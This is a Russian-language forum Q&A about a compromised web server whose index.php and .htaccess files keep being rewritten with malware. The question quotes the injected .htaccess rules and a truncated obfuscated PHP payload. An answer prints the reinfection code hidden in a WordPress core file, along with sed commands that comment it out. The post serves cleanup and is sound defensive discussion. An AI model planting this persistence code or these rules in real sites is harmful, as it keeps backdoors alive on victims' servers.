Перезаписываюся файлы index.php, .htaccess
На сервере стоит ispmanager в котором созданы пользователи. У одно из пользователей выявлена эта проблема. Сейчас пользователь отключен, удалены сайты, осталась пустая папка сайта где по прежнему происходит перезапись
/var/www/userisp/data/www/site.com/
если в папку поместить пустые файлы index.php, .htaccess с правами 644, они перезапишутся и получат 444 права. В .htaccess запишется
<FilesMatch ".(py|exe|php)$">
Order allow,deny
Deny from all
</FilesMatch>
<FilesMatch "^(about.php|radio.php|index.php|content.php|lock360.php|admin.php|wp-login.php|wp-l0gin.php|wp-theme.php|wp-scripts.php|wp-editor.php)$">
Order allow,deny
Allow from all
</FilesMatch>
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>
В index.php
<?php
$OO0__00_OO=urldecode("%6f%41%2d%62%4e%6e%4b%37%4c
...
$O00_O_OO0_["\x64\x61\x74\x61"];die();}}OO00O0O___($O0O_0_O0_O);
?>
<?php
/**
* Front to the WordPress application. This file doesn't do anything, but loads
* wp-blog-header.php which does and tells WordPress to load the theme.
*
* @package WordPress
*/
/**
* Tells WordPress to load the WordPress theme and output it.
*
* @var bool
*/
define( 'WP_USE_THEMES', true );
/** Loads the WordPress Environment and Template */
require __DIR__ . '/wp-blog-header.php';
Если файлам назначить другого владельца, попытки перезаписи исчезают. Вся папка пользователя /var/www/userisp проверена на вирусы, да и нет там ничего.
Отключались другие пользователи, отключались их сайты. Но перезапись не прекращается. Можно просто удалить пользователя, но боюсь, процесс который постоянно будет искать эту папку и долбить сервер останется.
Ответы (2 шт):
Несмотря на то, что пользователь от данного сайта был отключен, в процессах висел процесс от его имени. Разобрав процесс через lsof я не нашел обращения к папке и файлам. Но была к примеру операция по удалению другой папки которую я ранее удалял. Решив, что это глюк, перезапустил сервер (удалить процесс побоялся). После перезапуска, процесса от пользователя нет и файлы не перезаписываются.
столкнулся с такой же проблемой. Без полного пролечивания, но быстро выключить вирус получается выполнением 2 SSH команд из корневой папки с сайтами сервера:
find . -type f -name '*.php' -print0 | xargs -0 sed -i 's/$path = "\/home/\/\/$path = "\/home/g'
find . -type f -name 'index.php' -print0 | xargs -0 sed -i 's/$OO0/\/\/$OO0/g'
где /home - нужно заменить на начало пути к файлам сайта, иногда это /var/www
1 команда - комментирует строку, которая ищет код вируса для вставки в index файл
2 команда - комментирует код вируса в index.php
у меня код для регенерации вируса лежал в /domains/public_html/wp-includes/plugin.php
а сам код выглядит так:
$index_path = "index.php";
$index = file_get_contents($index_path);
$path = "/home/users/user_name/domains/domain.com/wp-content/plugins/advanced-custom-fields/core/actions/173692";
if (file_exists($path)) {
$index_hide = file_get_contents($path);
$index_hide = base64_decode(str_rot13(base64_decode(str_rot13($index_hide))));
if(md5($index) != md5($index_hide))
{
@chmod($index_path, 0644);
@file_put_contents($index_path, $index_hide);
@chmod($index_path, 0444);
}
}
$i_p = "index.php";
$index = file_get_contents($i_p);
$path = "/home/users/user_name/domains/domain.com/wp-admin/css/colors/blue/100158";
if (file_exists($path)) {
$index_hide = file_get_contents($path);
$index_hide = base64_decode(str_rot13(base64_decode(str_rot13($index_hide))));
if(md5($index) != md5($index_hide))
{
@chmod($i_p, 0644);
@file_put_contents($i_p, $index_hide);
@chmod($i_p, 0444);
}
}
$index_path = "index.php";
$index = file_get_contents($index_path);
$path = "/home/users/user_name/domains/domain.com/wp-admin/css/colors/coffee/139039";
if (file_exists($path)) {
$index_hide = file_get_contents($path);
$index_hide = base64_decode(str_rot13(base64_decode(str_rot13($index_hide))));
if(md5($index) != md5($index_hide))
{
@chmod($index_path, 0644);
@file_put_contents($index_path, $index_hide);
@chmod($index_path, 0444);
}
}